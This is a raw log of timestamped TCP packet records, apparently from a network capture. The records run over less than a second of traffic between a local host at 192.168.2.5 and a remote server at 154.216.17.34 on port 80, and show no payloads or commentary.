Oct 31, 2024 02:09:09.845091105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845092058 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845102072 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845119953 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845135927 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845146894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845163107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845170021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845180988 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845180988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845211983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845225096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845678091 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845690966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845702887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845720053 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845731020 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845733881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845746040 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.845752954 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845778942 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.845793962 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.846298933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.846318007 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.846350908 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.846360922 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.877089024 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877099037 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877109051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877120972 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877172947 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.877370119 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.877391100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877443075 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.877470016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877480030 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877490997 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.877521992 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.877549887 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.918950081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.918963909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.918971062 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.918976068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.918982029 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.919085979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.961919069 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.961977005 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962079048 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962090969 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962101936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962117910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962131023 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962131023 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962142944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962153912 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962167025 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962187052 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962198973 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962408066 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962450981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962485075 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962496042 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962539911 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962711096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962723017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962733984 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962744951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.962765932 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.962778091 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.963092089 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.963103056 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.963145018 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.963207006 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.963232994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.963243008 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.963257074 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.963294983 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.993940115 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.993952990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.993963957 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.993998051 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.994014978 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.994251966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.994277000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.994297028 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.994324923 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:09.994330883 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.994340897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:09.994376898 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.035927057 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.035958052 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.035979986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.035990000 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036012888 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036019087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036032915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036046982 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036082983 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036087036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036087036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036096096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036128998 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036161900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036175013 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.036187887 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.036232948 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.078828096 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.078881979 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.078887939 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.078900099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.078912973 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.078923941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.078939915 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.078958988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.078995943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079052925 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079071999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079082966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079096079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079097986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079128981 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079149008 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079426050 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079476118 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079479933 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079485893 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079497099 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079566956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079566956 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.079938889 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079976082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079987049 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.079989910 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080017090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080027103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080152035 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.080189943 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.080204010 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080212116 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.080221891 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080224991 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.080235958 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.080261946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.080276966 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.111257076 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111316919 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111330986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111393929 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111406088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111417055 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.111432076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.111490011 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.152786016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.152810097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.152821064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.152851105 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.152884007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.152952909 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.152975082 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.153000116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.153018951 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.153026104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.153069019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.195868015 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.195915937 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.195923090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.195928097 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.195939064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.195957899 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.195966959 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.195988894 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196014881 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196024895 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196036100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196067095 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196094990 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196096897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196110010 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196125031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196149111 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196163893 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196422100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196465969 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196471930 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196482897 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196512938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196662903 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196708918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196747065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196758986 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196768999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.196789980 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.196813107 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.197098017 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197109938 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197119951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197150946 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.197161913 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.197289944 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197329998 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.197350025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197360992 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197372913 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.197396040 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.197427988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.228256941 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228277922 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228287935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228322029 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.228336096 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.228501081 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228552103 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.228558064 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228569031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.228605986 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.270123959 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270204067 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.270204067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270251036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.270328045 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270339966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270350933 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270364046 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270375967 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270381927 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.270385981 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.270415068 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.270425081 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.312695026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312712908 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312721968 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312769890 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.312783003 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312793016 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312813997 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.312841892 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.312864065 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312911034 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.312931061 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312942028 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312952995 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.312977076 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313007116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313200951 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313246012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313251019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313294888 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313307047 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313329935 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313339949 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313339949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313352108 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313370943 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313393116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313627005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313682079 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313683987 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313694954 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313724995 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313919067 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313936949 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313947916 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.313968897 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.313998938 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.314223051 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.314240932 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.314251900 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.314274073 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.314301968 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345088005 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345107079 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345114946 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345144033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345160007 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345216036 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345216990 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345228910 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345237970 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345269918 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345297098 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345479965 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345489025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345499039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.345530033 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.345557928 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387078047 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387098074 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387108088 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387168884 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387195110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387200117 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387207031 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387218952 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387250900 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387281895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387468100 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387480021 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387494087 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.387525082 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.387550116 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.429907084 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.429939985 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.429965019 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.429987907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430043936 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430080891 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430090904 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430093050 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430102110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430131912 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430162907 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430313110 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430324078 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430335999 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430346966 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430366993 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430399895 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430633068 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430684090 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430717945 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430730104 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430742025 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430752039 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430764914 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430769920 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430777073 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430787086 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.430792093 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430819988 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.430836916 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.431363106 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431375980 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431385994 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431420088 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.431444883 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.431526899 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431540012 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431550026 CET	80	49982	154.216.17.34	192.168.2.5
Oct 31, 2024 02:09:10.431581974 CET	49982	80	192.168.2.5	154.216.17.34
Oct 31, 2024 02:09:10.431606054 CET	49982	80	192.168.2.5	154.216.17.34
